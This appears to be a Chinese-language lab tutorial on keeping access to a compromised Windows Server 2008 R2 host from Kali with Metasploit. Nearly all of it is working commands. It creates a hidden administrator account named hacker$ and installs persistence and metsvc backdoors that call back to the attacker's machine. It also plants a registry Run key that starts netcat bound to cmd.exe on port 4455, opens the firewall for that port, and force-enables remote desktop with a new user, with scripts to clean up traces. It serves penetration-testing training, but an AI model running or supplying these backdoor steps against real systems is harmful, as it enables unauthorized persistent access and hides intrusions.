攻击主机: Kali 192.168.11.106
靶机:windows server 2008 r2   192.168.11.134
 

零、为何要创建后门

当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统。如果目标用户破坏了该连接,例如 重新启动计算机,此时使用后门将允许自动重新与目标系统建立连 接, 不必每次都需要进行攻击取得 meterpreter 为了后续渗透方便,所以需要创建一个后门。这样,即使连接被中断,也不会影响工作。下面将介绍创建持久后门的几种方式。
前提: 获得 meterpreter shell
创建后门的几种方式:
  1. 靶机创建隐藏用户,后期可直接使用隐藏用户登录目标主机;
  2. 通过persistence脚本安装后门;
  3. 通过metsvc服务的方式;
  4. 持久化后门netcat
  5. 通过开启远程桌面

一、靶机创建隐藏用户

1、进入靶机 
meterpreter > shell
2.创建用户 注意这里用户使用了$符号,可以起到隐藏创建用户的目的
C:\Windows\system32>  net user hacker$ Hacker_123  /add
3、将创建的用户添加到管理员组
C:\Windows\system32>  net localgroup administrators hacker$  /add
net user查看不到hacker$用户,但在靶机上还是能看到你创建的这个隐藏用户:

 可以使用hacker$/Hacker_123这个用户登录到靶机。

二、通过persistence脚本安装后门

路径:  metasploit/scripts/meterpreter/persistence.rb  ,用于创建通过启动项启动。会创建注册表,创建文件,  很容易被杀软拦截 
帮助文档:
1、执行 run persistence -S -U -X  -i  5 -p 8888 -r  192.168.11.106  这样靶机在系统登陆,用户登陆,开机,使用中每隔5秒都 会自动连接攻击机 192.168.11.106 8888 端口,缺点是容易被杀毒软件查杀
2、执行结束后,会在靶机 的C:/windows/Temp/下建立一个vbs文件( 持久脚本 ),该脚本会 自动在靶机上运行,同时 添加注册表键值 ,如下 :
3、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter, 必须先 将靶机重启
kail攻击机器输入如下指令:
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 192.168.11.106
> set LPORT 8888    #    端口要和上面的persistence后门端口一致
> run
运行后,可以成功获得meterpreter shell:

三、通过metsvc服务的方式

路径:  metasploit/scripts/meterpreter/metsvc.rb  ,用于创建服务启动。会创建名为meterpreter的服务 ,并 在C:\Users***\AppData\Local\Temp\上传三个文件 (metsrv.x86.dll、metsvc-server.exe、metsvc.exe)   很容易被杀软拦截,且安装服务需要管理员权限 
1、运行 run metsvc将会在靶机上以Meterpreter服务的形式注册到服务列表中,并开机自动启动。
运行 run metsvc -r卸载靶机上的Meterpreter服务。
查看服务已启动:
查看进程:
端口也是启动的状态:

 这些说明靶机上已经开始监听31337端口了。

2、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter, 必须先 将靶机重启
kail攻击机器输入如下指令:
> use exploit/multi/handler
set payload windows/metsvc_bind_tcp  指定的木马模块
set RHOST 192.168.11.134   # 靶机IP
> set LPORT 31337    # 靶机上监听的端口值31337
> run
这里一直会话每次刚创建成功就会断开, 推测是 run metsvc 被舍弃了,建议使用 exploit/windows/local/persistence。
使用 exploit/windows/local/persistence
必须先重启靶机,然后再kail攻击机器输入如下指令:
> use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp  
set LHOST 192.168.11.106  # 设置kail攻击机IP
> set LPORT 4444    # 跟 exploit/windows/local/persistence设置的LPORT相同
> run
运行后,可以成功获得meterpreter shell:

四、持久化后门netcat

nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项。
ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)
nc的监听模式在kali下会出现问题,监听的端口会发生变化,因此推荐同学们在kali下使用ncat
1.1、 上传nc.exe至目标主机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32  C:\\windows\\system32下的文件都有system权限(最高权限)
验证是否上传成功   ls C:\\windows\\system32 | grep nc.exe
execute -f  C:\\windows\\system32\\nc.exe -h
1.2、注册表自启动程序设置 
枚举查看注册表启动项
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
靶机上注册表该项的确没有任何值:
将nc.exe设置到注册表启动项中
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -ldp 4455 -e cmd.exe'
  • -L 选项或-l选项是将nc设置为监听模式;
  • -p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙);
  • -e 选项可以绑定到cmd.exe这个shell程序。
查看以确定nc已经被设置到注册表启动项中
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
1.3、设置防火墙模式
打开cmdexecute -f cmd -i
当前防火墙操作模式 :netsh firewall show opmode
将nc开放的端口4455加入到目标系统防火墙规则中,入站 netsh advfirewall firewall add rule name=ncport4455  dir=in protocol = tcp action=allow localport=4455
查看目标系统防火墙端口开放状态: netsh firewall show portopening
1.4、nc连接靶机
在kail攻击机上: nc -v 192.168.11.134 4455
靶机重启后,页面弹出:
此时在kail攻击机上: nc -v 192.168.11.134 4455,ok

五、通过开启远程桌面

# 强制开启目标主机远程桌面并自动添加用户名为metasploit密码为 Meterpreter_123 的用户
run getgui -u metasploit -p Meterpreter_123 
# 上面命令会生成清理痕迹的ruby的脚本文件,位置在/root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
# 当操作完目标用户后可以使用此脚本清理痕迹、关闭远程桌面服务和删除创建的用户
run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20221207.0010.rc
模块已舍弃,建议使用模块 run post/windows/manage/enable_rdp
靶机上查看用户:

 

在kail攻击机器上远程登录靶机: rdesktop -u metasploit -p Meterpreter_123 192.168.11.134:3389

六、参考

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐